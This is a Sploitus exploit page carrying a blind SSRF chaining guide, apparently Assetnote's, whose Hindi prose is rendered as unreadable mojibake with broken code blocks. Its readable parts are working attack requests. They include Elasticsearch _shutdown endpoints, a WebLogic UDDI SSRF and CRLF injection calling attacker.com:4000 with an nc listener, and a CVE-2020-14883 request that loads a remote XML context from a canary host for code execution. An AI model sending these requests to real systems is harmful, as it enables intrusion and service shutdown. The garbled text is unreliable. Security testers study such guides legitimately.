Sploitus

Exploit Code

MARKDOWN699 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ASSETNOTE-BLIND-SSRF-CHAINS
# рдкрд░рд┐рдЪрдп

## рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЙрд░рдЬреЗрд░реА (SSRF) рдХреНрдпрд╛ рд╣реИ?

рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЙрд░рдЬреЗрд░реА рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдЖрдк рдХрд┐рд╕реА рд╕рд░реНрд╡рд░ рдХреЛ рдЖрдкрдХреА рдУрд░ рд╕реЗ рдордирдорд╛рдиреЗ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ рдЕрдиреБрд░реЛрдз рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╕рд░реНрд╡рд░ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддреА рд╣реИред рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг SSRF рдЕрдзрд┐рдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдпрд╛ рд░рд╣рд╕реНрдп рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

## рдмреНрд▓рд╛рдЗрдВрдб SSRF

рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЙрд░рдЬреЗрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╕рдордп, рд╣рдо рдЕрдХреНрд╕рд░ рдЦреБрдж рдХреЛ рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкрдврд╝рд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ред рдЙрджреНрдпреЛрдЧ рдореЗрдВ, рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдЕрдХреНрд╕рд░ "рдмреНрд▓рд╛рдЗрдВрдб SSRF" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдРрд╕реА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ, рд╣рдо рдкреНрд░рднрд╛рд╡ рдХреИрд╕реЗ рд╕рд╛рдмрд┐рдд рдХрд░реЗрдВ? рдпрд╣ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдЪрд░реНрдЪрд╛ рдереА рдЬрд┐рд╕реЗ рдЬрд╕реНрдЯрд┐рди рдЧрд╛рд░реНрдбрдирд░ рдиреЗ рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдЫреЗрдбрд╝рд╛ рдерд╛:

> I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
> 
> тАФ Justin Gardner (@Rhynorater) January 13, 2021

рдпрджрд┐ рдЖрдк рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдкреНрд░рднрд╛рд╡ рд╕рд╛рдмрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдг рд╢реНрд░реГрдВрдЦрд▓рд╛рдПрдБ (exploit chains) рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдпрд╣ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдмреНрд▓рд╛рдЗрдВрдб SSRF рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╕рдордп рдкреНрд░рддреНрдпреЗрдХ рдЬреНрдЮрд╛рдд рд╢реЛрд╖рдг рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рд╡рд┐рд╡рд░рдг рдореЗрдВ рдЬрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИ, рдФрд░ рдЬреИрд╕реЗ-рдЬреИрд╕реЗ рдЕрдзрд┐рдХ рддрдХрдиреАрдХреЗрдВ рдЦреЛрдЬреА рдФрд░ рд╕рд╛рдЭрд╛ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕реЗ рдЕрджреНрдпрддрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдпрджрд┐ рд╣рдо рдХреЛрдИ рддрдХрдиреАрдХ рдЪреВрдХ рдЧрдП рд╣реИрдВ, рддреЛ рдХреГрдкрдпрд╛ рд╣рдореЗрдВ рдПрдХ рдЯреНрд╡реАрдЯ рдпрд╛ DM рднреЗрдЬреЗрдВ: @assetnote рдФрд░ рд╣рдо рдЗрд╕реЗ рдЗрд╕ рдмреНрд▓реЙрдЧ рдореЗрдВ рдЬреЛрдбрд╝ рджреЗрдВрдЧреЗред

## SSRF рдХреИрдирд░реАрдЬрд╝

> I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
> 
> тАФ Frans Ros├йn (@fransrosen) January 13, 2021

рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЖрдк рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛рдУрдВ рдпрд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдк "SSRF рдХреИрдирд░реАрдЬрд╝" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рд╣рдо рдХрд┐рд╕реА рдЖрдВрддрд░рд┐рдХ URL рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдФрд░ SSRF рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдХреИрдирд░реА рд╣реЛрд╕реНрдЯ рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдХреИрдирд░реА рд╣реЛрд╕реНрдЯ рдкрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдкрдиреЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛ рдХреЛ рд╣рд┐рдЯ рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ рдмрд╛рд╣рд░реА рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рднреА рд╕рдХреНрд╖рдо рд╣реИред

рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдкреНрд░рднрд╛рд╡реА рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдПрдХ SSRF рднреЗрджреНрдпрддрд╛ рдХреА рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдпрд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рдФрд░ рдпрд╣ рднреА рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХреБрдЫ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдореМрдЬреВрдж рд╣реИрдВред рдЖрдк SSRF рдХреИрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЕрдзрд┐рдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рднрд╛рдЧреЛрдВ рддрдХ рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд (pivot) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХрд╣рд╛рдБ рд╕реНрдерд┐рдд рд╣реИред

## рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП DNS рдбреЗрдЯрд╛рд╕реНрд░реЛрддреЛрдВ рдФрд░ AltDNS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рд▓рдХреНрд╖реНрдп рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯ рдЦреЛрдЬрдирд╛ рд╣реЛрдиреЗ рдХреЗ рд╕рд╛рде, DNS рдбреЗрдЯрд╛рд╕реНрд░реЛрддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╕рднреА рд░рд┐рдХреЙрд░реНрдбреНрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреЗ рд╣реИрдВред

рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ, рд╣рдо рдЕрдХреНрд╕рд░ ELBs рджреЗрдЦрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдВрддрд░рд┐рдХ VPC рдХреЗ рдЕрдВрджрд░ рд╣реЛрд╕реНрдЯ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВред рдЖрдк рдЬрд┐рд╕ рдПрд╕реЗрдЯ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд╡рд╣ рдХрд┐рд╕ VPC рдореЗрдВ рд╣реИ, рдЗрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЙрд╕реА VPC рдХреЗ рднреАрддрд░ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реЛрд╕реНрдЯ DNS рдбреЗрдЯрд╛рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рд╣реИ:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

root@kitploit:~
    
    
    рдЖрдк рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ `es` Elasticsearch рдХреЗ рд▓рд┐рдП рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ рдЖрдЧреЗ рдХреЗ рд╣рдорд▓реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдЗрди рд╕рднреА рдмреНрд▓рд╛рдЗрдВрдб SSRF рдкреЗрд▓реЛрдбреНрд╕ рдХреЛ рдЙрди рд╕рднреА "рдЖрдВрддрд░рд┐рдХ" рд╣реЛрд╕реНрдЯреНрд╕ рдкрд░ рднреА рд╕реНрдкреНрд░реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ рдкреНрд░рднрд╛рд╡реА рд╣реЛрддрд╛ рд╣реИред
    
    рдЕрдзрд┐рдХ рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реВрдБ рдХрд┐ рдЖрдк рдЕрдкрдирд╛ рд╕рд╛рд░рд╛ DNS рдбреЗрдЯрд╛ рд▓реЗрдВ рдФрд░ рдлрд┐рд░ [AltDNS](https://github.com/infosec-au/altdns) рдЬреИрд╕реА рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд░рдордкрд░рд┐рд╡рд░реНрддрди рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ, рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ [рддреЗрдЬрд╝ DNS рдмреНрд░реВрдЯрдлреЛрд░реНрд╕рд░](https://github.com/blechschmidt/massdns) рд╕реЗ рд╣рд▓ рдХрд░реЗрдВред
    
    рдпрд╣ рдкреВрд░рд╛ рд╣реЛ рдЬрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рд╕рднреА рдирдП рдЦреЛрдЬреЗ рдЧрдП рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯреНрд╕ рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рдмреНрд▓рд╛рдЗрдВрдб SSRF рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
    
    ## рд╕рд╛рдЗрдб рдЪреИрдирд▓ рд▓реАрдХ
    
    рдмреНрд▓рд╛рдЗрдВрдб SSRF рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╕рдордп, рдЖрдк рд▓реМрдЯрд╛рдИ рдЬрд╛ рд░рд╣реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рдкрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ XXE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмреНрд▓рд╛рдЗрдВрдб SSRF рд╣реИ, рддреЛ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐:
    
    - рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рдИ рдЧрдИ рдереА
    
    `Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
    
    рдмрдирд╛рдо
    
    - рд╣реЛрд╕реНрдЯ рдФрд░ рдкреЛрд░реНрдЯ рдЕрдиреБрдкрд▓рдмреНрдз рд╣реИрдВ
    
    `Error parsing request: System.Net.WebException: Unable to connect to the remote server`
    
    рдЗрд╕реА рддрд░рд╣, XXE рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рднреА рд╕рд╛рдЗрдб рдЪреИрдирд▓ рд▓реАрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рднреАрддрд░ рдХреЗ рдЕрдВрддрд░реЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдХреЗ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
    
    - **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб**: 
    
    рдСрдирд▓рд╛рдЗрди рдЖрдВрддрд░рд┐рдХ рдПрд╕реЗрдЯ:рдкреЛрд░реНрдЯ `200 OK` рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ рдмрдирд╛рдо рдСрдлрд▓рд╛рдЗрди рдЖрдВрддрд░рд┐рдХ рдПрд╕реЗрдЯ:рдкреЛрд░реНрдЯ `500 Internal Server Error`
    
    - **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рд╛рдордЧреНрд░реА**: 
    
    рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЖрдХрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рдореЗрдВ рдЫреЛрдЯрд╛ рдпрд╛ рдмрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЬрд┐рд╕ URL рдХреЛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд╡рд╣ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рд╣реИ рдпрд╛ рдирд╣реАрдВред
    
    - **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдордп**: 
    
    рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╕рдордп рдзреАрдорд╛ рдпрд╛ рддреЗрдЬрд╝ рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЬрд┐рд╕ URL рдХреЛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд╡рд╣ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рд╣реИ рдпрд╛ рдирд╣реАрдВред
    
    ---------------
    
    # рддрдХрдиреАрдХреЗрдВ
    **HTTP(s) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡**
    
    - [Elasticsearch](#elasticsearch)
    - [Weblogic](#weblogic)
    - [Hashicorp Consul](#consul)
    - [Shellshock](#shellshock)
    - [Apache Druid](#druid)
    - [Apache Solr](#solr)
    - [PeopleSoft](#peoplesoft)
    - [Apache Struts](#struts)
    - [JBoss](#jboss)
    - [Confluence](#confluence)
    - [Jira](#jira)
    - [рдЕрдиреНрдп Atlassian рдЙрддреНрдкрд╛рдж](#atlassian-products)
    - [OpenTSDB](#opentsdb)
    - [Jenkins](#jenkins)
    - [Hystrix рдбреИрд╢рдмреЛрд░реНрдб](#hystrix)
    - [W3 Total Cache](#w3)
    - [Docker](#docker)
    - [Gitlab Prometheus Redis Exporter](#redisexporter)
    
    **Gopher рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡**
    
    - [Redis](#redis)
    - [Memcache](#memcache)
    - [Apache Tomcat](#tomcat)
    - [FastCGI](#fastcgi)
    - [Java RMI](#java-rmi)
    
    **рдЙрдкрдХрд░рдг**
    
    - [Gopherus](#gopherus)
    - [remote-method-guesser](#remote-method-guesser)
    - [SSRF Proxy](#ssrfproxy)
    
    ----------------------------------
    
    **HTTP(s) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡**
    
    <div id="elasticsearch"></div>
    
    ## Elasticsearch
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдкреЛрд░реНрдЯ: 9200**
    
    рдЬрдм Elasticsearch рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред
    
    рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ рдмреНрд▓рд╛рдЗрдВрдб SSRF рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдВрдбрдкреЙрдЗрдВрдЯ 200 рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ:```http
    /_cluster/health
    /_cat/indices
    /_cat/health
    

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдмреНрд▓рд╛рдЗрдВрдб SSRF рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк POST рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрди рдкрде рдкрд░ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ Elasticsearch рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ рдмрдВрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

рдиреЛрдЯ: `_shutdown` API рдХреЛ Elasticsearch рд╕рдВрд╕реНрдХрд░рдг 2.x рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ Elasticsearch 1.6 рдФрд░ рдЙрд╕рд╕реЗ рдиреАрдЪреЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

root@kitploit:~
    
    
    <div id="weblogic"></div>
    
    ## рд╡реЗрдмрд▓реЙрдЬрд┐рдХ
    
    **рд╕рд╛рдорд╛рдиреНрдп рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 80, 443 (SSL), 7001, 8888**
    
    **SSRF рдХреИрдирд░реА: UDDI рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ (CVE-2014-4210)**```http
    POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
    Host: target.com
    Content-Length: 137
    Content-Type: application/x-www-form-urlencoded
    
    operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
    

рдпрд╣ GET рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

root@kitploit:~
    
    
    рдпрд╣ рдПрдВрдбрдкреЙрдЗрдВрдЯ рднреА CRLF рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ:```
    GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
    Host: vuln.weblogic
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
    Connection: close
    

рдЗрд╕рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рд╣реЛрдЧрд╛:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, _/_ ; q=.2 Connection: Keep-Alive

sdf

root@kitploit:~
    
    
    **SSRF Canary: CVE-2020-14883**
    
    рдпрд╣рд╛рдБ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ [рдпрд╣рд╛рдБ](https://forum.90sec.com/t/topic/1412).
    
    Linux:```http
    POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
    Host: vulnerablehost:7001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117
    
    _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
    

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,_/_ ;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

